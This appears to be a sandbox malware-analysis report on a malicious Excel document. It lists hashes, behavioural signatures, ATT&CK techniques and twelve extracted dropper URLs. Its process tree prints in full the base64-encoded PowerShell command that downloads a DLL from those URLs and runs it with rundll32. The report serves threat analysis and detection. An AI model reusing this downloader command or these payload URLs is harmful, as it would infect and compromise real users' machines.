4abd9f0721b8272ab7148560c4da07aff43b8b390d309c7f23a5e28e3229c214

General

Target

4abd9f0721b8272ab7148560c4da07aff43b8b390d309c7f23a5e28e3229c214.xls
Size

144KB
MD5

f3e18a837b8abca5496c4cfa9960beb4
SHA1

24ba6dde49c1ea3c3f79e2cb6a8564f608e70ef5
SHA256

4abd9f0721b8272ab7148560c4da07aff43b8b390d309c7f23a5e28e3229c214
SHA512

411b378f246305b504ea0213c33b7d79bd29a7d0c0ddf6f5b96b430fee33f019ea7ae21e5b41bfc2e3920993dbf681bc261219cbf59a0603cb2432c0a3a873e6
SSDEEP

3072:A7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TITGx6:6cKoSsxzNDZLDZjlbR868O8K0c03D38K

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://althyplane.com/wp-admin/ELWa8YcOqlJn/

exe.dropper

http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/

exe.dropper

http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/

exe.dropper

http://1asehrgut.com/dup-installer/3vESrkJAS97l/

exe.dropper

http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/

exe.dropper

http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/

exe.dropper

http://dreamcityimprov.com/d5759pd/yzbV45v1nY/

exe.dropper

http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/

exe.dropper

http://batumi4u.com/nwj7iw/jgiK2uwhsu/

exe.dropper

http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/

exe.dropper

http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/

exe.dropper

http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	916	4404	cmd.exe	81

Blocklisted process makes network request 8 IoCs

flow	pid	Process
26	812	powershell.exe
27	812	powershell.exe
33	812	powershell.exe
38	812	powershell.exe
41	812	powershell.exe
45	812	powershell.exe
47	812	powershell.exe
49	812	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4404	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
812	powershell.exe
812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	812	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4404	EXCEL.EXE
4404	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE
4404	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4404 wrote to memory of 916	4404	EXCEL.EXE	86
PID 4404 wrote to memory of 916	4404	EXCEL.EXE	86
PID 916 wrote to memory of 812	916	cmd.exe	88
PID 916 wrote to memory of 812	916	cmd.exe	88
PID 812 wrote to memory of 1956	812	powershell.exe	102
PID 812 wrote to memory of 1956	812	powershell.exe	102
PID 812 wrote to memory of 1956	812	powershell.exe	102

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4abd9f0721b8272ab7148560c4da07aff43b8b390d309c7f23a5e28e3229c214.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:812
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\873446406.dll,f1621298058
      4⤵
      System Location Discovery: System Language Discovery
      PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sewapeyo.tc4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QITDPJZGNDWHCI8HS91W.temp

Filesize
1KB

MD5
a5b596531b6b5958ec05a977ad26cf5f

SHA1
7b741e09b0f661f14821b9a5650178dbde22b3ac

SHA256
6f4a19b462efcec5e4d221b0bdb7cb14d26a8491f871f8cf8ed7806cb0e76e0b

SHA512
9a3b746cd9223097f1229f882dd0baaeabe40eb9e1f5b2d51c99ed80e12b5a3fdbae15cd47b8c99fdd248e8ddfe20a7a41cf6470a8d59ff93436678337103dcc

Download Submit
C:\programdata\cbjwektde.bat

Filesize
3KB

MD5
a90319111c2f42a9c83a3a2bc2613d74

SHA1
bf1171da149442a511a946ded726b94c1ad7cf85

SHA256
763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51

SHA512
1358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7

Download Submit
\??\c:\programdata\873446406.dll

Filesize
78KB

MD5
8eab8e846d9b913068a1cf73cb18a28f

SHA1
5cc18dd51d120383a1636285e6b970d3bea2759e

SHA256
ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35

SHA512
55fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646

Download Submit
memory/812-106-0x000001CD57980000-0x000001CD58126000-memory.dmp

Filesize
7.6MB

Download
memory/812-101-0x000001CD3E9E0000-0x000001CD3EA02000-memory.dmp

Filesize
136KB

Download
memory/4404-19-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-22-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-13-0x00007FF7C3060000-0x00007FF7C3070000-memory.dmp

Filesize
64KB

Download
memory/4404-9-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-8-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-14-0x00007FF7C3060000-0x00007FF7C3070000-memory.dmp

Filesize
64KB

Download
memory/4404-7-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-15-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-3-0x00007FF80540D000-0x00007FF80540E000-memory.dmp

Filesize
4KB

Download
memory/4404-17-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-16-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-0-0x00007FF7C53F0000-0x00007FF7C5400000-memory.dmp

Filesize
64KB

Download
memory/4404-2-0x00007FF7C53F0000-0x00007FF7C5400000-memory.dmp

Filesize
64KB

Download
memory/4404-20-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-18-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-10-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-23-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-21-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-36-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-37-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-68-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-84-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-12-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-11-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-6-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-102-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-5-0x00007FF7C53F0000-0x00007FF7C5400000-memory.dmp

Filesize
64KB

Download
memory/4404-108-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-109-0x00007FF805370000-0x00007FF805565000-memory.dmp

Filesize
2.0MB

Download
memory/4404-4-0x00007FF7C53F0000-0x00007FF7C5400000-memory.dmp

Filesize
64KB

Download
memory/4404-1-0x00007FF7C53F0000-0x00007FF7C5400000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads